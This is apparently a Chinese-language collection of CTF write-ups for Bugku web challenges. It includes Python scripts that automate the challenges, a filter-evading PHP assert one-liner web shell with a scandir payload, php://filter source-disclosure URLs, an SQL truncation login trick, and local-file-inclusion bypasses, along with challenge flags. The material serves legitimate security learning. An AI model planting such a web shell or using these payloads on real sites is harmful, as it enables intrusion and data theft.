速度要快!!!!!!
http://120.24.86.145:8002/web6/
格式KEY{xxxxxxxxxxxxxx}
查看源代码:
我感觉你得快点!!!
注释是没头没尾的一句话,用bp抓包,发现响应头里有flag:6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTWpjM09EY3k=
用base64解码得
跑的还不错,给你flag吧: Mjc3ODcy
再用base64解码得
277872
然后用hackbar用post方法在参数对最后增加margin=277872,却被告知还不够快,思路已经理清了,剩下的就是要快,那就只能用脚本了
import base64
import requests
url="http://120.24.86.145:8002/web6/"
s=requests.Session()
flag=s.get(url).headers['flag']
flag=base64.b64decode(flag)
flag=str(flag)
flag=flag.split(': ')[1]
flag=base64.b64decode(flag)
data={'margin':flag}
reps=s.post(url,data=data)
print(reps.content.decode('utf-8'))
http://120.24.86.145:8002/web11/
答案格式:KEY{xxxxxxxx}
打开url发现是一串字符串,尝试base64解码,md5解码都无果。
观察到url地址:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
对a2V5cy50eHQ=base64解码,得到keys.txt,知道filename的值应该是个文件名,line可能是行数。将index.php进行base64编码作为filename的值并让line=1,即http://120.24.86.145:8002/web11/index.php?line=1&filename=aW5kZXgucGhw,可以观察到返回的结果发生了改变,通过改动line的值,返回的结果也会发生改变,返回的应该是index.php的文件内容,写个脚本返回index.php的全部文件内容
import requests
a=30
for i in range(a):
url = "http://120.24.86.145:8002/web11/index.php?filename=aW5kZXgucGhw&line=" + str(i)
reps=requests.get(url)
print(reps.text)
'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php
返回的结果是一片空白,查看源码得flag
http://120.24.86.145:8006/test/hello.php
作者:御结冰城
打开url,查看源代码发现
那就访问1p.html,然后就被重定向到bugku的主页,用bp抓包没发现有重定向请求,那就直接
view-source:http://120.24.86.145:8006/test/1p.html,查看1p.html的源代码,得到
有url编码和base64编码,分别解码后得到
var Words ="
"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串
eregi("111".substr($b,0,1),"1114") 就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
总的来说,如果a参数传入文件内有 "bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的,substr($b,0,1)不能等于4 以上这些条件都满足,就请求 f4l2a3g.txt
:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt 吧
可以直接访问,得到flag
这是为不支持js的浏览器准备的格式,
不支持js的浏览器会把js代码当作html注释,不会出现js源码显示出来的情况。
支持js的浏览器,因为并不是js的注释,也不会影响js的正常执行。
http://120.24.86.145:8010/
送给大家一个过狗一句话
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
用assert执行任意代码
这就很自由了
payload:http://120.24.86.145:8010/?s=print_r(scandir('./'));
扫描目录
访问 http://120.24.86.145:8010/f94lag.txt
字符?正则?
http://120.24.86.145:8002/web10/
这道题get参数id的值符合正则就行了
http://120.24.86.145:8002/web10/?id=keykey1111key:/1/keya‘
注意:[[:punct:]] 匹配任何标点符号
http://123.206.31.85:49163/
flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击
注册 账号:admin 1
密码:1
登录账号:admin
密码:1
得到flag.
各种绕过哟
http://120.24.86.145:8002/web7/
txt????
http://120.24.86.145:8002/web8/
就是用一下php://input
php://input
php://input 是个可以访问请求的原始数据的只读流。
POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA
,因为它不依赖于特定的 php.ini 指令。 而且,
这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充,
比激活 always_populate_raw_post_data 潜在需要更少的内存
假设get请求中a=php://input,那么$_GET["a"]的值就是请求中post的数据,关键是
$a = $_GET["a"]之后,$a可以被文件读取函数file_get_contents读取。
地址:http://120.24.86.145:8002/web13/
想办法变成admin
源代码和bp都没什么结果,用御剑扫了一下,发现http://120.24.86.145:8002/web13/robots.txt
访问得到http://120.24.86.145:8002/web13/resusl.php
然后尝试各种方法未果,看了其他博文得知是结合提示:想办法变成admin以及此页面仅有的的一行php代码:if($_GET[x]==$password),访问http://120.24.86.145:8002/web13/resusl.php?x=admin,即可
地址:http://120.24.86.145:8002/flagphp/
点了login咋没反应
提示:hint
多方尝试无果,根据提示;hint,最后发现只要get一个hint就可以得到源代码,
Login
要传一个cookie名为ISecer 的反序列的值。并且反序列后的值要全相等于”$KEY”
这里要注意是有双引号,而且$KEY的赋值的此之后的。所以反序列的值不是’ISecer:www.isecer.com’。
我们要得到的值$KEY,是所以序列化该值即可,
s:0:"";
所以用hackbar提交cookie为ISecer=s:0:"";,即可
http://120.24.86.145:9002/
hints:不要一次就放弃
不知道是考什么,直接御剑扫描,得show.php,访问就得flag
http://120.24.86.145:9011/
一开始真的以为是文件上传,后来发现是出题人的恶趣味,扫描发现flag.php,用php://filter得到源码。
http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag
http://120.24.86.145:8002/post
post what=flag即可
通过php://filter获得源码
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php
base64解码后源码如下
Bugku-ctf
click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
能通过这种方式获得源码的关键应该是include($file)这一句代码